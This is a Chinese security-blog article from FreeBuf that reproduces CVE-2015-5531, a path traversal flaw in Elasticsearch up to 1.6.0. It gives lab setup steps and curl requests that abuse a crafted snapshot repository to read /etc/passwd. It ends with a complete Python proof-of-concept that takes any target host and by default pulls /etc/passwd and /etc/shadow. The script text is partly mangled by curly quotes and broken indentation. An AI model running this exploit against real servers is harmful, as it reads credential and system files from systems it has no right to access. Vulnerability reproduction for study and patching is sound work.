Elasticsearch目录遍历漏洞(CVE-2015-5531)复现与分析(附PoC)

2016-03-29 522389人围观 ,发现 8 个不明物体 漏洞

0×01. elasticsearch 简介

Elasticsearch是荷兰Elasticsearch公司的一套基于全文搜索引擎Apache Lucene构建的开源分布式RESTful搜索引擎,它主要用于云计算中,并支持通过HTTP使用JSON进行数据索引。

Elasticsearch使用Lucene作为内部引擎,在其基础上封装了功能强大的RESTful API,让你不需要了解背后复杂的逻辑,即可完成搜索……

详情请参见elstic.co

0×02. 漏洞概况

漏洞发布时间:2015-07-21 00:00:00

漏洞类型:路径遍历

漏洞影响版本:1.0.0 – 1.6.0

攻击路径:远程

漏洞产生原因:源于程序没有充分过滤用户提交的输入,远程攻击者可借助目录遍历字符‘..’利用该漏洞访问包含敏感信息的任意文件。

     CVSS分值:      5                     [中等(MEDIUM)]

    机密性影响:    PARTIAL         [很可能造成信息泄露]

    完整性影响:    NONE            [不会对系统完整性产生影响]

    可用性影响:    NONE            [对系统可用性无影响]

    攻击复杂度:    LOW               [漏洞利用没有访问限制 ]

    攻击向量:    NETWORK         [攻击者不需要获取内网访问权或本地访问权]

    身份认证:    NONE                [漏洞利用无需身份认证]

0×03. 漏洞环境搭建

网上下载一个elasticsearch1.3.4.tar.gz(也可以去我分享的百度网盘连接下载) , 解压,进入解压后的bin目录,

chmod +x elasticsearch
 ./elasticsearch

Image

    lsof -i:9200 

Image

    curl http://127.0.0.1:9200/?pretty

 Image

至此 漏洞环境搭建完毕

0×04. 漏洞复现

先说说elasticsearch 的备份与快照功能

漏洞利用需要涉及到elasticsearch的备份功能,elasticsearch 提供了一套强大的API,使得elasticsearch备份非常简单

要实现备份功能。前提是elasticsearch 进程对备份目录有写入权限,一般来说我们可以利用/tmp 或者elasticsearch 自身的安装目录,默认情况下这两个目录elasticsearch 进程都是有写入权限的

 1) 新建一个仓库

备份数据之前,要创建一个仓库来保存数据,仓库的类型支持Shared filesystem, Amazon S3, HDFS和Azure Cloud。下面以文件系统为例:

    curl -XPUT http://127.0.0.1:9200/_snapshot/test -d '

    {

        "type": "fs", 

        "settings": {

            "location": "/tmp/test" 

        }

    }

    '

当然这里也可以使用POST,POST 不仅仅可以创建仓库,还可以修改仓库

Image

Image

Image

上面的代码,我们创建了一个名叫test的备份仓库,存放在本地的/tmp/test 目录下

按照上面的步骤再新建一个仓库test2,这个仓库的位置位于/tmp/test/snapshot-backdata

    curl -XPUT http://127.0.0.1:9200/_snapshot/test2 -d '
    {
        "type": "fs", 
        "settings": {
            "location": "/tmp/test/snapshot-backdata" 
        }
    }
    '

有木有注意到test2仓库的位置很特别,elasticsearch 中 备份的快照保存在备份仓库中的命名格式是以snapshot-xxx的格式

所以snapshot-backdata 会被误以为是test仓库的backdata快照,快照都是文件形式保存的,而snapshot-backdata是目录,elasticsearch 没有区分,如果elasticsearch发现其是目录之后,就继续读取目录下的内容,如果目录下的文件明称是恶意构造的(类似../../../) elasticsearch就会去读取这个递归读取文件的内容(这里elasticsearch没有过滤..),从而导致目录遍历(任意文件内容读取)

读到这里,有的读者就可能会问了,为什么要特意构造这样一个名称的仓库呢,不可以直接构造含有遍历符的快照文件名呢

比如 http://127.0.0.1:9200/_snapshot/test/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

结果如下:

Image

所以这样是不可以的

2) 开始漏洞验证

    curl http://127.0.0.1:9200/_snapshot/test/backdata%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd 

Image

从返回结果可以看到,elasticsearch 解析出现了异常,并返回了读取文件的内容,: [114,...以后都是读取的/etc/passwd 文件的内容,不过都是内容为10进制整数的字符,需要翻译成人类可读的才好

0x05. poc

cve-2015-5531.py

#!/usr/bin/env python
# -*- coding:utf8 -*-
"""
PoC for CVE-2015-5531
Affects ElasticSearch 1.6.0 and prior
"""
import re
import sys
import json
import requests
import urllib
import argparse
import traceback
import termcolor
def colorize_red(string):
    """
    :param string:
    :return
    """
    return termcolor.colored(string, 'red')
def colorize_green(string):
    """
    :param string:
    :return:
    """
    return termcolor.colored(string, 'green')
def create_repos(base_url):
    """
    :param base_url:
    :return: None
    """
    for index, repo_name in enumerate(REPO_NAME_LST):
        
        url = "{0}{1}".format(base_url, repo_name)
        req = requests.post(url, json=DATA_REPO_LST[index])
         
        if “acknowledged” in req.json():
            print colorize_green(“repository {0}: create success”.format(repo_name))
def grab_file(vuln_url):
    “”"
    :param xplurl:
    :return:
    “”"
    
    req = requests.get(vuln_url)
    if req.status_code == 400:
        data = req.json()
        extrdata = re.findall(r’\d+’, str(data['error']))
        decoder = bytearray()
        for i in extrdata[2:]:
            decoder.append(int(i))
        print colorize_green(decoder)
def exploit(**args):
    “”"
    :param args:
    :return:
    “”"
    target = args['target']
    port = args['port']
    fpath = args['fpath'].split(‘,’)
    fpath = [urllib.quote(fp, safe='') for fp in fpath]
    base_url = “http://{0}:{1}/_snapshot/”.format(target, port)
    #create elasticsearch repository for snapshot
    create_repos(base_url)
    #grab files
    for fp in fpath:
        vuln_url = ‘{0}{1}/{2}{3}’.format(base_url, REPO_NAME_LST[0], FCK, fp)
        print colorize_red(urllib.unquote(fp)) + “:\n”
        grab_file(vuln_url)
if __name__ == “__main__”:
    # for global
    FCK = ‘backdata%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..’
    REPO_NAME_LST = ['test11', 'test12']
 
   DATA_REPO_LST = [{"type": "fs", "settings": {"location": 
"/tmp/test30"}}, {"type": "fs", "settings": {"location": 
"/tmp/test30/snapshot-backdata"}}]
    parser = argparse.ArgumentParser(usage=”python cve-2015-5531.py options”,
                                     description=”cve-2015-5531 Vuln PoC”, add_help=True)
    parser.add_argument(‘-t’, ‘–target’, metavar=’TARGET’, type=str, dest=”target”, required=True, help=’eg: 127.0.0.1 or www.baidu.com’)
 
   parser.add_argument(‘-p’, ‘–port’, metavar=’PORT’, dest=’port’, 
type=int, default=9200, help=’elasticsearch port default 9200′)
   
 parser.add_argument(‘–fpath’, metavar=’FPATH’, dest=’fpath’, type=str,
 default=’/etc/passwd,/etc/shadow’, help=’file to grab multi files 
separated by comma ‘)
    args = parser.parse_args()
    try:
        exploit(**args.__dict__)
    except:
        traceback.print_exc()

*投稿:wenjian_tk0,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

这些评论亮了

发表评论

已有 8 条评论

取消
Loading...
css.php